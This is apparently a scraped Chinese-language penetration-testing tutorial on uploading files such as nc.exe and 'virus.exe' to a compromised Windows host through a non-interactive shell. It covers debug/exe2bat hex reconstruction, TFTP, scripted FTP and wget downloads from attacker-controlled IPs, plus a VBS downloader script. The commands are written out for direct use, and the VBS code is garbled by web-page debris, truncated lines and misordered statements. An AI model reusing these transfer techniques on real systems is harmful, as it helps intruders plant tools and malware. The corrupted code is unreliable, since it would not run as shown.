Windows 的 debug 方法 Windows 有一个程序叫 debug,这个程序可以将十六进制的机器码转换为可执行的文件。Windows 的 debug 方法可以先将文件转化为十六进制,然后通过非交互式 shell 在目标系统上 echo 出这个文件,最后使用 debug 转换十六进制并执行。Kali 里有一个名为 exe2bat 的程序位于 /usr/share/windows-binaries。 我们可以这样运行 - root@kali:/usr/share/windows-binaries# wine exe2bat.exe nc.exe nc2.txt
- Finished: nc.exe > nc2.txt
- root@kali:/usr/share/windows-binaries#
复制代码这条命令会生成一个 txt 文档,其中内容类似如下: - echo 6e 76 69 72 6f 6e 6d 65 6e 74 53 74 72 69 6e 67 73 57 00 00 a3 00 47 65 74 43 50 49 6e 66 6f 00 9d 00 47 65 74 41 43 50 00 00 09 01 47 65 74 4f 45 4d 43 50 00 00 1e 00 43 6f 6d 70 61 72 65 53 74 72 69 6e 6$
- echo e e780 >>123.hex
- echo 6c 65 00 00 19 02 53 65 74 46 69 6c 65 50 6f 69 6e 74 65 72 00 00 2b 01 47 65 74 53 74 72 69 6e 67 54 79 70 65 41 00 00 2e 01 47 65 74 53 74 72 69 6e 67 54 79 70 65 57 00 00 16 01 47 65 74 50 72 6f 63 41 6$
- echo e e800 >>123.hex
- echo 47 65 74 4e 75 6d 62 65 72 4f 66 43 6f 6e 73 6f 6c 65 49 6e 70 75 74 45 76 65 6e 74 73 00 31 00 43 72 65 61 74 65 46 69 6c 65 41 00 10 02 53 65 74 45 6e 64 4f 66 46 69 6c 65 00 00 8d 01 4c 43 4d 61 70 53 7$
- echo e e880 >>123.hex
- echo 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0$
- echo e e900 >>123.hex
- echo >>123.hex
- echo r cx >>123.hex
- echo e800 >>123.hex
- echo w >>123.hex
- echo q >>123.hex
- debug<123.hex
- copy 1.dll nc.exe
复制代码之后我们要做的就是复制文档中所有的内容,粘贴到 Shell 窗口内即可。 - 0C96:E8E0 00.00 00.00 00.00 00.00 00.00 00.00 00.00 00.00
- 0C96:E8E8 00.00 00.00 00.00 00.00 00.00 00.00 00.00 00.00
- 0C96:E8F0 00.00 00.00 00.00 00.00 00.00 00.00 00.00 00.00
- 0C96:E8F8 00.00 00.00 00.00 00.00 00.00 00.00 00.00 00.00
- 0C96:E900 EC. 0E. AC.
- -e e900
- 0C96:E900 EC.
- EC 0E.e AC.ac
- -r cx
- CX 0000
- :e800
- -w
- Writing 0E800 bytes
- -q
- C:\TRANSF~1>
复制代码这样我们的文件就出现在远程的目录里了。 - 21/10/2015 22:44 <DIR> .
- 21/10/2015 22:44 <DIR> ..
- 21/10/2015 22:44 59.392 1.DLL
- 21/10/2015 22:44 184.270 123.hex
- 21/10/2015 22:44 59.392 nc.exe
复制代码 TFTP 方法TFTP 是一种使用 UDP 数据包在网络上两台机器间发送和接收数据的协议。它可以用来帮助攻击者向目标机器上传文件。注意,TFTP 使用的是 UDP数据包,所以不适合发送一些很大的文件,因为 UDP 缺少完整性校验的机制。 你可以安装一个轻量级 Python TFTP 服务端如下: - # apt-get install git && git clone git://github.com/msoulier/tftpy.git
复制代码随后创建一个用于存储上传文件的文件夹并使用 chmod 给予文件夹 777 的权限。之后就可以运行 TFTP 服务端了。 - # cd tftpy
- # python setup.py install
复制代码运行服务端 - # cd bin
- # python tftpy_server.py -r /你的文件夹
复制代码在目标机器上可以运行如下命令来获取想上传的文件。 - C:\TRANSF~1>tftp -i 192.168.11.70 get nc.exe
- tftp -i 192.168.11.70 get nc.exe
- C:\TRANSF~1>
复制代码 FTP 方法另一个非常有用的上传文件的方法就是使用 FTP 服务器。由于 FTP 使用 TCP 传输数据,它会进行完整性校验,所以你可以上传较大的文件。我们可以在 Linux 系统上使用像 vsftpd 的 FTP 服务器。 安装完 vsftpd 后,我们要编辑 /etcvsftpd.conf 文件,取消注释掉的 local_enable 和 write_enable,重启服务就可以上传文件了。 对于使用非交互式脚本在目标机器上传文件,我们仅需将下列命令一起写入 Shell 的窗口即可,下面我们假设 FTP 的用户名和密码都是 ftp。 - C:\WINDOWS\system32>echo open 192.168.11.70 21> ftp.txt
- C:\WINDOWS\system32>echo ftp>> ftp.txt
- C:\WINDOWS\system32>echo bin >> ftp.txt
- C:\WINDOWS\system32>echo ftp>> ftp.txt
- C:\WINDOWS\system32>echo GET nc.exe >> ftp.txt
- C:\WINDOWS\system32>echo bye >> ftp.txt
- C:\WINDOWS\system32>ftp -s:ftp.txt
复制代码这样文件就会出现在了目标系统上了。 HTTP 方法在渗透测试工作中我经常面对的目标主机是类 Unix系统,这时建立一个 HTTP 服务器并使用 wget 命令进行下载是一个非常简单的方法。Windows 系统上面没有原生的下载工具如 wget,不过在 Kali 的 /usr/share/windows-binaries 的目录下,有一个名为 wget.exe 的小工具可以在 windows 上执行 wget。 对于 HTTP 服务器我们可以选用 Apache2 - # apt-get install apache2
复制代码将文件移动到 /var/www 下面,并在目标系统上面运行 wget 如下。 - C:\TRANSF~1>wget.exe http://192.168.11.16/virus.exe
- wget.exe http://192.168.11.16/virus.exe
- –23:34:27– http://192.168.11.16/virus.exe
- => `virus.exe’
- Connecting to 192.168.11.16:80… connected.
- HTTP request sent, awaiting response… 200 OK
- Length: 73,802 [application/x-msdos-program]
- 0K ………. ………. ………. ………. ………. 69% 4.88 MB/s
- 50K ………. ………. .. 100% 21.55 MB/s
- 23:34:27 (7.04 MB/s) – `virus.exe’ saved [73802/73802]
- C:\TRANSF~1>
复制代码另一种让 wget 像 Windows 命令一样执行的方法是使用如下的脚本,这个非交互式脚本可以将内容简单的使用 echo 到文件中。 - ‘Barabas pure vbs downloader – tested on XP sp2
- ‘Microsoft
- fixed
- adodbstream
- but
- guess
- what
- <img
- includes/images/smilies/icon_smile.gif” alt=”:)” class=”wp-smiley”>
- ‘(c)dec 2004
- ‘First argument = complete url to download
- ‘Second Argument = filename you want to save
- ‘thnks to http://www.ericphelps.com/scripting/samples/BinaryDownload/
- ‘
- ‘v2 – now includes proxy support for the winhttp request stuff
- strUrl = WScript.Arguments.Item(0)
- StrFile = WScript.Arguments.Item(1)
- ‘WinHttpRequest proxy settings.
- Const HTTPREQUEST_PROXYSETTING_
- DEFAULT = 0
- Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0
- Const HTTPREQUEST_PROXYSETTING_DIRECT = 1
- Const HTTPREQUEST_PROXYSETTING_PROXY = 2
- 219
- src=”http://s.wordpress.com/wp-Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts
- Err.Clear
- Set http = Nothing
- Set http = CreateObject(“WinHttp.WinHttpRequest.5.1”)
- If http Is Nothing Then Set http =
- CreateObject(“WinHttp.WinHttpRequest”)
- If http Is Nothing Then Set http =
- CreateObject(“MSXML2.ServerXMLHTTP”)
- If http Is Nothing Then Set http = CreateObject(“Microsoft.XMLHTTP”)
- ‘ comment out next line if no proxy is being used
- ‘ and change the proxy to suit ur needs -duh
- http.SetProxy HTTPREQUEST_PROXYSETTING_PROXY, “web-proxy:80”
- http.Open “GET”, strURL, False
- http.Send
- varByteArray = http.ResponseBody
- Set http = Nothing
- strBuffer = “”
- strData = “”
- Set ts = fs.CreateTextFile(StrFile, True)
- Set fs = CreateObject(“Scripting.FileSystemObject”)
- For lngCounter = 0 to UBound(varByteArray)
- ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1)))
- Next
- ts.Close
复制代码
|